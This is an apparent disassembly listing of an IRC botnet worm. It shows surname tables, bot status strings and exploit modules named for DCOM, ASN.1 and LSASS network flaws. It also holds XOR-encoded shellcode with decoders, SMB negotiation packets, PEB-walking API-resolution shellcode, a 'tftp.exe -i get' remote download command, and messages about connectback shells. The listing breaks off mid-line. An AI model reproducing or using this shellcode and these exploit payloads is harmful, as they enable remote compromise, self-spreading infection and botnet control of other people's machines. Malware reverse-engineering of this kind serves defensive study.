10h aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DAECo align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DAE8o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DAE4o aBedford db 'Bedford',0 ; DATA XREF: ___:0042DAE0o aBeder db 'Beder',0 ; DATA XREF: ___:0042DADCo align 10h aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DAD8o aBean db 'Bean',0 ; DATA XREF: ___:0042DAD4o align 10h aBeal db 'Beal',0 ; DATA XREF: ___:0042DAD0o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DACCo align 10h aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAC8o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAC4o align 10h aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAC0o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DABCo align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAB8o align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAB4o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAB0o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DAACo align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAA8o aBarry db 'Barry',0 ; DATA XREF: ___:0042DAA4o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAA0o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DA9Co aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DA98o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DA94o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DA90o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA8Co align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA88o align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA84o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA80o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042DA7Co align 10h aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA78o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA74o align 10h aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA70o align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA6Co align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA68o align 10h aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA64o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA60o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA5Co aBady db 'Bady',0 ; DATA XREF: ___:0042DA58o align 10h aBackus db 'Backus',0 ; DATA XREF: ___:0042DA54o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA50o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042DA4Co align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA48o align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA44o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA40o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA3Co align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA38o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA34o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA30o align 10h aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA2Co align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042DA28o align 10h aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA24o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA20o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA1Co align 10h aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA18o aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA14o align 10h aAntos db 'Antos',0 ; DATA XREF: ___:0042DA10o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA0Co aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA08o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA04o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042DA00o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D9FCo align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D9F8o align 10h aAndel db 'Andel',0 ; DATA XREF: ___:0042D9F4o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D9F0o align 10h aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9ECo align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9E8o align 10h aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9E4o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9E0o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9DCo align 10h aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9D8o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9D4o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9D0o align 10h aAllison db 'Allison',0 ; DATA XREF: ___:0042D9CCo aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9C8o align 10h aAlda db 'Alda',0 ; DATA XREF: ___:0042D9C4o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9C0o align 10h aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9BCo align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9B8o align 10h aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9B4o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9B0o align 10h aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9ACo align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9A8o aAdams db 'Adams',0 ; DATA XREF: ___:0042D9A4o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9A0o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D99Co align 4 byte_4315F4 db 50h ; DATA XREF: ___:0040ABE6o ; ___:0040ABF3r db 43h, 2 dup(0) dword_4315F8 dd 7C7325h ; DATA XREF: ___:0040AC91o dword_4315FC dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD9Bo dword_431604 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD92o ; sub_41AF8F:loc_41B052o dword_431608 dd 334B32h ; DATA XREF: ___:0040AD8Bo dword_43160C dd 5058h ; DATA XREF: ___:0040AD7Do ; ___:0040AF89o ... dword_431610 dd 4B32h ; DATA XREF: ___:0040AD6Do ; ___:0040AF79o ... dword_431614 dd 454Dh ; DATA XREF: ___:0040AD54o ; ___:0040AF60o ... dword_431618 dd 3839h ; DATA XREF: ___:0040AD44o ; ___:0040AF50o ... dword_43161C dd 544Eh ; DATA XREF: ___:0040AD34o ; ___:0040AF41o ... dword_431620 dd 3539h ; DATA XREF: ___:0040AD26o ; ___:0040AF33o ... dword_431624 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADE1+3Ao off_43162C dd offset byte_5D4D5B ; DATA XREF: sub_40ADE1+2Co ; sub_40ADE1+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o ; sub_41875E+5o align 4 aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0D6o align 4 a99 db '99',0 ; DATA XREF: ___:loc_40B098o align 4 a0D db '0%d',0 ; DATA XREF: ___:0040B072o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B054o ; sub_41ADD8+52o off_43165C dd offset byte_4B4E55 ; DATA XREF: ___:0040B037o dword_431660 dd 345053h ; DATA XREF: ___:0040B02Do dword_431664 dd 34h ; DATA XREF: ___:0040B021o dword_431668 dd 335053h ; DATA XREF: ___:0040B014o dword_43166C dd 33h ; DATA XREF: ___:0040B003o dword_431670 dd 325053h ; DATA XREF: ___:0040AFF6o dword_431674 dd 32h ; DATA XREF: ___:0040AFE5o ; =============== S U B R O U T I N E ======================================= sub_431678 proc near ; DATA XREF: ___:0040AFD8o push ebx push eax xor [eax], eax sub_431678 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_43167C dd 305053h ; DATA XREF: ___:0040AFBAo dword_431680 dd 4E55h ; DATA XREF: ___:loc_40AF9Eo dword_431684 dd 3332h ; DATA XREF: ___:0040AF97o ; --------------------------------------------------------------------------- loc_431688: ; DATA XREF: sub_40B2B3+C4o jmp short loc_43168C ; --------------------------------------------------------------------------- loc_43168A: ; CODE XREF: ___:loc_43168Cp jmp short loc_431691 ; --------------------------------------------------------------------------- loc_43168C: ; CODE XREF: ___:loc_431688j call loc_43168A loc_431691: ; CODE XREF: ___:loc_43168Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw db 80h, 73h, 0Eh byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_4316A0: ; DATA XREF: sub_40B2B3+A2o jmp short loc_4316A4 ; --------------------------------------------------------------------------- loc_4316A2: ; CODE XREF: ___:loc_4316A4p jmp short loc_4316A9 ; --------------------------------------------------------------------------- loc_4316A4: ; CODE XREF: ___:loc_4316A0j call loc_4316A2 loc_4316A9: ; CODE XREF: ___:loc_4316A2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw dw 7380h db 0Ch byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w dw 0E243h dd 0F9h dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B13C+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B13C+79o aJ_0 db 'j',0 db 0E8h dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_43173C retn ; --------------------------------------------------------------------------- byte_43173C db 0E8h ; CODE XREF: ___:00431739j dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o dd 7E8h db 0, 0Fh, 84h dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o ; ___:0040E229o ... align 4 dd 5 dup(0) dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r ; sub_401ACD+1D6Ao ... off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo ; ___:0040D759w ... dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 40DF4Ch, 0 dd 1, 2 dup(0) dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EC1Fh, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D59Dh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D59Dh, 0 dd 2 dup(1), 0 aVncs db 'vncs',0 align 4 dd 54480000h, 562D5054h, 434Eh, 5 dup(0) dd 170Ch, 41B6A1h, 4 dup(0) aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 40E830h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r ; sub_401ACD+1CC6o aDcom135_0 db 'dcom135',0 align 4 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431A06 ; =============== S U B R O U T I N E ======================================= sub_4319F6 proc near ; CODE XREF: sub_4319F6:loc_431A06p pop edx dec edx xor ecx, ecx mov cx, 166h loc_4319FE: ; CODE XREF: sub_4319F6+Cj xor byte ptr [edx+ecx], 99h loop loc_4319FE jmp short loc_431A0B ; --------------------------------------------------------------------------- loc_431A06: ; CODE XREF: ___:004319F4j call sub_4319F6 loc_431A0B: ; CODE XREF: sub_4319F6+Ej jo short near ptr dword_431994+12h cwde cdq cdq retn sub_4319F6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o align 4 dword_431B88 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o unk_431B94 db 2Dh ; - ; DATA XREF: sub_40B90E+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431BB4 db 2Dh ; - ; DATA XREF: sub_40B9DD+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431BFC db 2Dh ; - ; DATA XREF: sub_40BA49+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo dword_431C38 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o dword_431C48 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40BA9E+14o dd 7473694Ch, 3Ah unk_431C64 db 2Dh ; - ; DATA XREF: ___:0040BCD7o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431C98 db 2Dh ; - ; DATA XREF: ___:0040BBE5o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_431CC8 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_431CE8 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431D04 db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_30 db ' Failed to start server, error: <%d>.',0 align 4 unk_431D38 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_31 db '- Failed to start server, error: <%d>.',0 unk_431D70 db 2Dh ; - ; DATA XREF: sub_40BD91+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_431DA0 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_32 db 'Failed to start server, error: <%d>.',0 align 4 unk_431DD4 db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431E08 db 2Dh ; - ; DATA XREF: sub_40BD91+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431E3C db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431E64 db 2Dh ; - ; DATA XREF: sub_40C3E8+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431E9C db 2Dh ; - ; DATA XREF: sub_40C3E8+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431EDC db 2Dh ; - ; DATA XREF: sub_40C3E8+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431F14 db 2Dh ; - ; DATA XREF: sub_40C3E8+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431F48 db 2Dh ; - ; DATA XREF: sub_40C3E8+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431F7C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C85F+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD9E+B2o align 10h dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o dd 800000D4h, 0 unk_432108 db 81h ; ; DATA XREF: sub_40D2A2+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_432154 db 41h ; DATA XREF: sub_40D340+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_432198 proc near ; DATA XREF: ___:0040D61Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_432294 push dword ptr [esi] push 63D61209h call sub_4322AA mov [esi+8], eax call sub_43225D push dword ptr [esi+4] push 0CA2BD06Bh call sub_4322AA mov [esi+0Ch], eax call sub_43220F push dword ptr [esi+4] push 4C0297FAh call sub_4322AA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_432198 endp ; =============== S U B R O U T I N E ======================================= sub_43220F proc near ; CODE XREF: sub_432198+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432238 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_43220F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432238 proc near ; CODE XREF: sub_43220F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_432247: ; CODE XREF: sub_432238+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_432254 inc ebx jmp short loc_432247 ; --------------------------------------------------------------------------- loc_432254: ; CODE XREF: sub_432238+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432238 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43225D proc near ; CODE XREF: sub_432198+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_432275: ; CODE XREF: sub_43225D+1Ej cmp [ecx], ebx jz short loc_43227D mov ecx, [ecx] jmp short loc_432275 ; --------------------------------------------------------------------------- loc_43227D: ; CODE XREF: sub_43225D+1Aj mov edx, edi loc_43227F: ; CODE XREF: sub_43225D+2Aj cmp [edx+4], ebx jz short loc_432289 mov edx, [edx+4] jmp short loc_43227F ; --------------------------------------------------------------------------- loc_432289: ; CODE XREF: sub_43225D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43225D endp ; =============== S U B R O U T I N E ======================================= sub_432294 proc near ; CODE XREF: sub_432198+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_432294 endp ; =============== S U B R O U T I N E ======================================= sub_4322AA proc near ; CODE XREF: sub_432198+16p ; sub_432198+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4322C0: ; CODE XREF: sub_4322AA+33j jecxz short loc_4322FA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4322CD: ; CODE XREF: sub_4322AA+2Dj lodsb cmp al, ah jz short loc_4322D9 ror edi, 0Dh add edi, eax jmp short loc_4322CD ; --------------------------------------------------------------------------- loc_4322D9: ; CODE XREF: sub_4322AA+26j cmp edi, [esp+20h+arg_0] jnz short loc_4322C0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4322FA: ; CODE XREF: sub_4322AA:loc_4322C0j ; sub_4322AA:loc_4322FAj jmp short loc_4322FA sub_4322AA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_432300 proc near ; DATA XREF: ___:0040D5CDo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_432352 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_43231D: ; CODE XREF: sub_432300+38j jecxz short loc_43234D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432328: ; CODE XREF: sub_432300+32j lodsb test al, al jz short loc_432334 ror edx, 0Dh add edx, eax jmp short loc_432328 ; --------------------------------------------------------------------------- loc_432334: ; CODE XREF: sub_432300+2Bj cmp edx, [esp+arg_0] jnz short loc_43231D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_43234D: ; CODE XREF: sub_432300:loc_43231Dj mov [esp+arg_0], ebx retn sub_432300 endp ; =============== S U B R O U T I N E ======================================= sub_432352 proc near ; CODE XREF: sub_432300+7p ; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_43236B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_432376 ; --------------------------------------------------------------------------- loc_43236B: ; CODE XREF: sub_432352+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_432376: ; CODE XREF: sub_432352+14j pop edi xor esi, esi pusha push esi jmp short loc_43238A sub_432352 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43237D proc near ; CODE XREF: sub_432352:loc_43238Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_43237D endp ; --------------------------------------------------------------------------- ; START OF 